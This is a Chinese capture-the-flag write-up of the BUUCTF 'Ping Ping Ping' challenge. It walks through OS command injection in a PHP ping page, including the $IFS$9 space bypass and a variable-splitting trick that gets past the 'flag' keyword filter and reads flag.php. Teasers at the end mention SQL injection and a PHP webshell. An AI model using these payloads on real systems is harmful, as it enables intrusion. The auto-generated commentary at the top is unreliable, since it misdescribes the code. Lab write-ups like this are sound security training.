[BUUCTF][Web][GXYCTF2019]Ping Ping Ping 1

buuctf,web,gxyctf2019,ping · 浏览次数 : 22

小编点评

**代码解析:** 代码利用正则表达式匹配目标 URL 中的 ip 地址,并通过构造参数的方式试图执行命令。 **关键代码部分:** ```bash $a = shell_exec(\"ping -c 4 \$$ip\); echo \"\"; print_r($a); ``` 1. `shell_exec()` 函数执行 `ping` 命令,并传递 `-c 4` 参数,设置ping次数为 4。 2. `$ip` 变量存储目标 ip 地址。 3. `echo \"\";` 在执行命令之前打印一个空字符串,以确保命令正确格式。 4. `print_r($a)` 打印执行命令的返回值。 **绕过安全限制:** 1. **字符编码:**代码使用 `\` 和 `\` 等字符来绕过正则表达式中的特殊字符。 2. **命令注入:**代码使用 `$ip` 变量存储用户输入的 ip 地址,并通过构造参数的方式将其注入命令中。 3. **正则表达式匹配:**正则表达式用于匹配目标 URL 中的 ip 地址,但代码通过字符编码和命令注入绕过正则匹配规则。 **注意:** 1. 这段代码仅供学习和测试目的,请勿使用它在任何实际环境中。 2. 使用此代码需要在目标服务器上运行,因为它执行了 `ping` 命令。

正文

打开靶机对应URL

提示有ip参数
尝试构造url
http://714ad4a2-64e2-452b-8ab9-a38df80dc584.node4.buuoj.cn:81/?ip=127.0.0.1
显示
/?ip=
PING 127.0.0.1 (127.0.0.1): 56 data bytes
说明这里有命令注入的可能,构造url
http://714ad4a2-64e2-452b-8ab9-a38df80dc584.node4.buuoj.cn:81/?ip=127.0.0.1|ls
显示
/?ip=
flag.php
index.php
老套路,尝试看一下index.php
http://714ad4a2-64e2-452b-8ab9-a38df80dc584.node4.buuoj.cn:81/?ip=127.0.0.1|cat+index.php
显示
/?ip= fxck your space!

不可以用空格(即urlencode中的+)

知识点:
在linux中 $IFS$9 可以作为空格使用,这样可以绕过
构造url
http://714ad4a2-64e2-452b-8ab9-a38df80dc584.node4.buuoj.cn:81/?ip=127.0.0.1;cat$IFS$9index.php
显示
/?ip=
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>
从这里不接受空格,同时也不接受参数中带有f l a g 这顺序的四个字母
不过这里可以利用linux创建临时变量的方式绕过
构造参数(注意这里用; 不要用|,因为这里是或的意思,会导致后面的不用执行)
http://714ad4a2-64e2-452b-8ab9-a38df80dc584.node4.buuoj.cn:81/?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b$a.php
访问后,右键查看源代码 boom
/?ip=
<pre>PING 127.0.0.1 (127.0.0.1): 56 data bytes
<?php
$flag = "flag{7d941fbe-6c50-4df6-819c-038236ae7f77}";
?>

与[BUUCTF][Web][GXYCTF2019]Ping Ping Ping 1相似的内容:

[BUUCTF][Web][GXYCTF2019]Ping Ping Ping 1

打开靶机对应URL 提示有ip参数 尝试构造url http://714ad4a2-64e2-452b-8ab9-a38df80dc584.node4.buuoj.cn:81/?ip=127.0.0.1 显示 /?ip= PING 127.0.0.1 (127.0.0.1): 56 data byt

[BUUCTF][Web][极客大挑战 2019]EasySQL 1

打开靶机对应的url 界面显示需要输入账号和密码 分别在两个输入框尝试加单引号尝试是否有sql注入的可能,比如 123' 发现两个框可以注入,因为报了个错误信息 You have an error in your SQL syntax; check the manual that correspon

[BUUCTF][Web][HCTF 2018]WarmUp 1

这题已经标识为php 代码审计题,那么需要搞到源码才行 打开靶机对应的url,展示的是一张笑脸图片 右键查看网页源代码

[BUUCTF][Web][极客大挑战 2019]Havefun 1

打开靶机的URL,看到一个页面 右键查看源代码,看到有用信息 ...

[BUUCTF][Web][ACTF2020 新生赛]Include 1

打开靶机对应的url 显示一个tips 超链接 点击访问超链接,对应Url为 http://469398f2-5677-4270-a4a4-55c5e4a7504a.node4.buuoj.cn:81/?file=flag.php 显示信息Can you find out the flag, 右键查

[BUUCTF][Web][ACTF2020 新生赛]Exec 1

打开靶机对应url 显示可以输出ip 来进行ping操作 尝试试一下是否有命令注入的可能 127.0.0.1|ls 果然可以,输出结果 index.php PING 127.0.0.1 (127.0.0.1): 56 data bytes 按照套路估计是在根目录,试一下 127.0.0.1|ls /

[BUUCTF][Web][SUCTF 2019]EasySQL 1

这一题有点蛋疼,比较难顶 看了别人的write up 也很难get到解题思路,感觉必须要拿到源码进行审计才能解 大佬们猜后端是这么写的 select $_POST['query'] || flag from Flag; 这里使用或来拼接字段名称 那么输入*,1, 用1 || flag得到1,这样拼接

[BUUCTF][Web][极客大挑战 2019]Secret File 1

打开靶机对应的url 右键查看网页源代码,查看到一个访问路径 /Archive_room.php 构造url访问一下 http://3bfaebad-fdfa-4226-ae0a-551f0228becb.node4.buuoj.cn:81/Archive_room.php 右键再次查看源代码,有一

[BUUCTF][Web][极客大挑战 2019]LoveSQL 1

打开靶机url,页面显示有两个输入框,框中输入123',发现两个框都有sql注入问题 爆出一下错误 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server versi

[BUUCTF][WEB][极客大挑战 2019]Knife 1

这题几乎是送分 题目不断暗示,后台存在一句话木马 拿个蚁剑连上去就完事了 这里用curl 连上去,演示一下,理解一下其中的原理 #注意 phpinfo() 后面的分号不能省 curl -d "Syc=phpinfo();" http://32a31ff6-2815-4485-a74e-e646f67